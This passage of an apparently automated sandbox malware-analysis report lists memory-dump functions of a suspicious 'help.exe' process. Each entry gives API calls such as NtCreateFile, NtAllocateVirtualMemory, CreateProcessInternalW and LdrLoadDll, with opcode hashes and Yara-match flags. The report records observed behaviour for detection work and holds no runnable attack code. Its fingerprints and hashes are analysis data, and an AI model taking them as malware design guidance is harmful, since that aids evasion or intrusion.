				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E1E425720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x1e42fdda
0x1e42fde2
0x1e42fde5
0x1e42fdec
0x1e42fdfa
0x1e42fdff
0x1e42fe0a
0x1e42fe0f
0x1e42fe17
0x1e42fe1e
0x1e42fe19
0x1e42fe19
0x1e42fe19
0x1e42fe20
0x1e42fe21
0x1e42fe22
0x1e42fe25
0x1e42fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E42FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 1E42FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 1E42FE01

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 4e5b656b11d07d670e92d29ad71721cbf6a823379e337a096f8f9d08067d6850
Instruction ID: 84d2bfc16738eee7f36048a7a2a4e7a438eb33754d95abafe92fb0dbd440d925
Opcode Fuzzy Hash: 4e5b656b11d07d670e92d29ad71721cbf6a823379e337a096f8f9d08067d6850
Instruction Fuzzy Hash: 7DF0F676500142BFDB210A45EC01F73BB6AEB84730F550325F628562D1DA62FC7096F1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: help.exe PID: 6328 Parent PID: 3388 help.exeCOMMON

Executed Functions

Function 02ED9D70, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,02ED4B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,02ED4B87,007A002E,00000000,00000060,00000000,00000000), ref: 02ED9DBD

Strings

.z`, xrefs: 02ED9DAD, 02ED9DB8

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: ee958eda1562d839ea29ac4a8898dd0acf87313ce0cc88d424b48b2504e82062
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: F3F0BDB2200208ABCB08CF88DC84EEB77ADAF8C754F158248BA0D97240C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 02ED9F4A, Relevance: 1.6, APIs: 1, Instructions: 50memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,02EC2D11,00002000,00003000,00000004), ref: 02ED9F89

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6a537a6b84865bc5e7d81f8f1f13a17c4e91789cb573fa1ccb89145235439516
Instruction ID: 8fe365257816d7f9f965f13443fa47fdcb1e363d400479bde0ae9a9d1df1321d
Opcode Fuzzy Hash: 6a537a6b84865bc5e7d81f8f1f13a17c4e91789cb573fa1ccb89145235439516
Instruction Fuzzy Hash: 670104B2610209ABCB18DF99DC84DAB73ADEF88354F158559BE0897341D631E921CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 02ED9E20, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(02ED4D42,5EB6522D,FFFFFFFF,02ED4A01,?,?,02ED4D42,?,02ED4A01,FFFFFFFF,5EB6522D,02ED4D42,?,00000000), ref: 02ED9E65

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 098ba6d17fccf3b82e5fe2a2afc3950a7dd6574dec49771a9f4ae63a028ae4d7
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 8DF0A4B2200208ABCB14DF89DC80EEB77ADAF8C754F158258BA1D97251D630E9118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02ED9F50, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,02EC2D11,00002000,00003000,00000004), ref: 02ED9F89

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 1edff98bc4cad5858190beed967f3c28a40b68f7c21895739c34e616f42506c8
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: F7F015B2200208ABCB14DF89DC80EAB77ADAF88750F118158BE0897241C630F911CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02ED9EA0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(02ED4D20,?,?,02ED4D20,00000000,FFFFFFFF), ref: 02ED9EC5

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 9875814c0637d99ff15beaa3542bcf4c2a67e076ba35469afb46d23b87ad836d
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 03D01776240214ABD710EB98DC85EA77BADEF48760F1584A9BA589B242C530FA008AE0

Uniqueness

Uniqueness Score: -1.00%

Function 02ED9E9C, Relevance: 1.5, APIs: 1, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(02ED4D20,?,?,02ED4D20,00000000,FFFFFFFF), ref: 02ED9EC5

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 4211c7af46d428d1868c1864c70e0601035d60f604cdb8bd670661988284c59c
Instruction ID: d4be5115a9de17b506023bb78ab3c29ee5786408b386fd2f1960d12e4fa8523f
Opcode Fuzzy Hash: 4211c7af46d428d1868c1864c70e0601035d60f604cdb8bd670661988284c59c
Instruction Fuzzy Hash: 17D01275640110ABD714EBD4DC84FE77B69EF84760F158459BA58AB241C530E6008BE0

Uniqueness

Uniqueness Score: -1.00%

Function 03809A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03809A5A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6741f413dcbb8811a00149df40fd7fb38c384f1a4481e653d767683a312df4ab
Instruction ID: ab9d54a49a59b4abe972bfbd43d2950de35584a9ddd00727bc05e93b4410a482
Opcode Fuzzy Hash: 6741f413dcbb8811a00149df40fd7fb38c384f1a4481e653d767683a312df4ab
Instruction Fuzzy Hash: 2090026121185442D200A5A94C14F17040997D0343F51C555A1148664CCA5588796561

Uniqueness

Uniqueness Score: -1.00%

Function 038099A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 038099AA

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d09eaf6ddacb1a807efae09c3c5e7859cef998757ae1b1768fbe0757183c5ff0
Instruction ID: 0ab46c001ee3f149fa2c7aa4aaf5b2d443abec2218d5c885702d5f7f2844dfea
Opcode Fuzzy Hash: d09eaf6ddacb1a807efae09c3c5e7859cef998757ae1b1768fbe0757183c5ff0
Instruction Fuzzy Hash: 869002A134105842D100A1994414F160409D7E1341F51C455E2058664D8759CC6A7166

Uniqueness

Uniqueness Score: -1.00%

Function 03809910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380991A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9274681e399034cfa754c0c07b750f6ab9a6ae547bcc1f20a1f6f74dd23c2fc1
Instruction ID: c000a135aded9b6d623a744c4e205e408d5a781b40a81f34f3b5c25437e1be5b
Opcode Fuzzy Hash: 9274681e399034cfa754c0c07b750f6ab9a6ae547bcc1f20a1f6f74dd23c2fc1
Instruction Fuzzy Hash: 619002B120105802D140B1994404B56040997D0341F51C451A6058664E87998DED76A5

Uniqueness

Uniqueness Score: -1.00%

Function 03809840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380984A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7f1f20f30a5ec174343167962756e8e0209a2b445154af7d0965530d6b6a4c3e
Instruction ID: 1b53f735bbe321a3808b729d704f083b4a195d464584ea72115d4ffb9e766619
Opcode Fuzzy Hash: 7f1f20f30a5ec174343167962756e8e0209a2b445154af7d0965530d6b6a4c3e
Instruction Fuzzy Hash: 52900261242095525545F1994404A17440AA7E0281791C452A2408A60C8666986EE661

Uniqueness

Uniqueness Score: -1.00%

Function 03809860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380986A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 55fc7f5ccd36039a85507198d9cf2df27b0adc7a5168e2378cc1efc918416441
Instruction ID: 707c54b8ecb28b28836f69db4f6f6407f5d3cda7f8506d0c1fca6f825f59b634
Opcode Fuzzy Hash: 55fc7f5ccd36039a85507198d9cf2df27b0adc7a5168e2378cc1efc918416441
Instruction Fuzzy Hash: C990027120105813D111A1994504B17040D97D0281F91C852A1418668D9796896AB161

Uniqueness

Uniqueness Score: -1.00%

Function 03809780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380978A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fe7ce575183fc596203c0dd70b1905f1b1d9b074f1bccaaf9aa518d7cf16732b
Instruction ID: 1bc060fa0c64f0542d151c8b5f8ee5b4dc343904ca5f4ba02577e5504774e7c4
Opcode Fuzzy Hash: fe7ce575183fc596203c0dd70b1905f1b1d9b074f1bccaaf9aa518d7cf16732b
Instruction Fuzzy Hash: B490026921305402D180B1995408B1A040997D1242F91D855A1009668CCA55887D6361

Uniqueness

Uniqueness Score: -1.00%

Function 03809FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03809FEA

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bb5842b683d8a6c7a622e55436e0c12adaadfdf30ce1713a0f5c852782daab2b
Instruction ID: d799bc0c470dc0b9f88d801a89b0d4ce5c9f1c55982e2471a411198bb596e879
Opcode Fuzzy Hash: bb5842b683d8a6c7a622e55436e0c12adaadfdf30ce1713a0f5c852782daab2b
Instruction Fuzzy Hash: 8890027131119802D110A1998404B16040997D1241F51C851A1818668D87D588A97162

Uniqueness

Uniqueness Score: -1.00%

Function 03809710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380971A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70693134a63729e8e80c6d2edb7de56566c85404073b44e39e858a42f6d157f2
Instruction ID: cb538d5faaf988a477ea7407a519ab04c876ebdf382ebaff2fd04f6083780985
Opcode Fuzzy Hash: 70693134a63729e8e80c6d2edb7de56566c85404073b44e39e858a42f6d157f2
Instruction Fuzzy Hash: B990027120105802D100A5D95408B56040997E0341F51D451A6018665EC7A588A97171

Uniqueness

Uniqueness Score: -1.00%

Function 038096D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 038096DA

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9f28d9388defb32feb957cafd1fd3d9fecc4903665ca2e5b9b1969d0a3da39ba
Instruction ID: 2ba1b55396f415f28f5be31a96ca0ac624a6a8ecd62e75173e0a21340d5c5a01
Opcode Fuzzy Hash: 9f28d9388defb32feb957cafd1fd3d9fecc4903665ca2e5b9b1969d0a3da39ba
Instruction Fuzzy Hash: A790027120105C42D100A1994404F56040997E0341F51C456A1118764D8755C8697561

Uniqueness

Uniqueness Score: -1.00%

Function 038096E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 038096EA

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 625b28c6c1e46047459aa513af53b2fb6e02e635fd1335a363099d15582b79d1
Instruction ID: b4229797b5e071ee9265592bbec89b5c42883025ad061f727ff4cfe558fda0d1
Opcode Fuzzy Hash: 625b28c6c1e46047459aa513af53b2fb6e02e635fd1335a363099d15582b79d1
Instruction Fuzzy Hash: 019002712010DC02D110A1998404B5A040997D0341F55C851A5418768D87D588A97161

Uniqueness

Uniqueness Score: -1.00%

Function 03809650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380965A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f923db84a075353d55521d5f5abd0b43b24067ec429777647dc095abba862dcc
Instruction ID: a754fe2768fc37ac731b00994407980d6f91d4c887e0df5d30995608c165a780
Opcode Fuzzy Hash: f923db84a075353d55521d5f5abd0b43b24067ec429777647dc095abba862dcc
Instruction Fuzzy Hash: A490027120509C42D140B1994404F56041997D0345F51C451A10587A4D97658D6DB6A1

Uniqueness

Uniqueness Score: -1.00%

Function 03809660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380966A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1679fb4f62bd59c9218aa56fdf8a87f2f44f75a7402ff5a100e573599df4252c
Instruction ID: 4fe62f4958bd0d396700cb332ca24144fbe7110f8feea1b127fec4665ca810e2
Opcode Fuzzy Hash: 1679fb4f62bd59c9218aa56fdf8a87f2f44f75a7402ff5a100e573599df4252c
Instruction Fuzzy Hash: 0090027120105C02D180B1994404B5A040997D1341F91C455A1019764DCB558A6D77E1

Uniqueness

Uniqueness Score: -1.00%

Function 038095D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 038095DA

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e2c75319a498780b048efbc27df1c008c4e486f138e23fce4e6152edda6688a5
Instruction ID: 6815a63fbbe4233078829d03c5710b8dc7da69a1efc1804a07f569ab752ec62a
Opcode Fuzzy Hash: e2c75319a498780b048efbc27df1c008c4e486f138e23fce4e6152edda6688a5
Instruction Fuzzy Hash: CE9002A1202054034105B1994414B26440E97E0241B51C461E20086A0DC66588A97165

Uniqueness

Uniqueness Score: -1.00%

Function 03809540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0380954A

Memory Dump Source

Source File: 0000001C.00000002.732617734.00000000037A0000.00000040.00000001.sdmp, Offset: 037A0000, based on PE: true

Associated: 0000001C.00000002.734444249.00000000038BB000.00000040.00000001.sdmp Download File
Associated: 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cec919e79120c9becad1b127475683b2ed1a4833447a755e0251bd717184e59e
Instruction ID: afea4b8adb8334083aa39ce808f0ba95863ae2fb8be264fa853c9761cb5dbc49
Opcode Fuzzy Hash: cec919e79120c9becad1b127475683b2ed1a4833447a755e0251bd717184e59e
Instruction Fuzzy Hash: EA900265211054030105E5990704A17044A97D5391351C461F2009660CD76188796161

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA080, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,02EC3AF8), ref: 02EDA0AD

Strings

.z`, xrefs: 02EDA09C, 02EDA0A8

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 9feec9dd29be86d364289e3deb266cb1b8ce48538f62e747465b1c76ef139dc5
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: BCE046B1200208ABDB18EF99DC48EA777ADEF88750F018558FE085B351C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA073, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,02EC3AF8), ref: 02EDA0AD

Strings

.z`, xrefs: 02EDA09C, 02EDA0A8

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 7fffbca187bb49c9d09d5e389535ccf0efb64d79bf0c5fa02f815b687421ba2b
Instruction ID: df70f8b135d4cde174ec328f30ed9b0d39aa4079767c4f807ca5ec577b884ee0
Opcode Fuzzy Hash: 7fffbca187bb49c9d09d5e389535ccf0efb64d79bf0c5fa02f815b687421ba2b
Instruction Fuzzy Hash: 95E0D8B40046C51BDB15EF7594D04A77F95AF8131472495AAE89947207C121D519CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02EC82E9, Relevance: 3.1, APIs: 2, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 02EC834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 02EC836B

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 0e1c3d3f91e2e71215aa2fc8c7d24e7c44bd96c3f89281110b95019a33e9af5b
Instruction ID: c262db68cbf4c737782875700c07c579bb4bb2314ce465a756040e4eb9987c43
Opcode Fuzzy Hash: 0e1c3d3f91e2e71215aa2fc8c7d24e7c44bd96c3f89281110b95019a33e9af5b
Instruction Fuzzy Hash: 5B01FC31AC02187BE721A6989D42FFE772CAB40B55F14902DFF04FA1C0E6A4650747F5

Uniqueness

Uniqueness Score: -1.00%

Function 02EC82F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 02EC834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 02EC836B

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 1120a1ff3273dc7bd2404a3293879139ded73d2c7468a4d26c453bc699b36bdb
Instruction ID: b6f0aeab3c4d1e50afbc44458412afc1efd938ebc9bec9bfd2d1985a6558109e
Opcode Fuzzy Hash: 1120a1ff3273dc7bd2404a3293879139ded73d2c7468a4d26c453bc699b36bdb
Instruction Fuzzy Hash: 6801F231AC02287BE721AA989D02FFE772CAB00B55F149018FF04BA1C0E6A469074AF5

Uniqueness

Uniqueness Score: -1.00%

Function 02ECACD0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 02ECAD42

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40338038c26fc98c5705ab367eec9ae286094f0bf701fb2e8c536a963aaa0826
Instruction ID: 15cf8340cb5bf52a3b19c145e64e6bb4f31f15b833a6435bfc8baf79f315ed8f
Opcode Fuzzy Hash: 40338038c26fc98c5705ab367eec9ae286094f0bf701fb2e8c536a963aaa0826
Instruction Fuzzy Hash: 2F014CB5D8020DABDF10DAE4DD41FDDB7799B04208F1091A9E90997240F630E745CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA0ED, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 02EDA144

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 9cd82cb7dcdb5df48322a71254b26c8c2372c15054149b206d4daa77b58c5791
Instruction ID: 23e2d231d921d937e9129c71d99a599b5d7a3915b4a1a7e395b9fa3531eae3ce
Opcode Fuzzy Hash: 9cd82cb7dcdb5df48322a71254b26c8c2372c15054149b206d4daa77b58c5791
Instruction Fuzzy Hash: F301A4B2210108AFCB54DF99DC80EEB37A9AF8C364F158258BA1DD7290C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA0F0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 02EDA144

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 75be857ddbefac32371be9d27082d4850b1d16af88d67ff243c513c5e1feb49c
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 1601AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97250C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA1D1, Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,02ECF1A2,02ECF1A2,?,00000000,?,?), ref: 02EDA210

Memory Dump Source

Source File: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b328c55faccf4063c8b76ed1e38e8ba8ccf49a34e890500ff75700e7631c9d48
Instruction ID: 043ed27d1517837cd1b086361feb4f5ffb9a9632b49953f0dc7b446e3a1b789d
Opcode Fuzzy Hash: b328c55faccf4063c8b76ed1e38e8ba8ccf49a34e890500ff75700e7631c9d48
Instruction Fuzzy Hash: 59E092B56002046BC720DF48DD84EEB37A9EF88350F028658FA4C6B351CA34E925CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02EDA040, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02ED4506,?,02ED4C7F,02ED4C7F,?,02ED4506,?,?,?,?,?,00000000,00000000,?), ref: 02EDA06D

Memory Dump Source

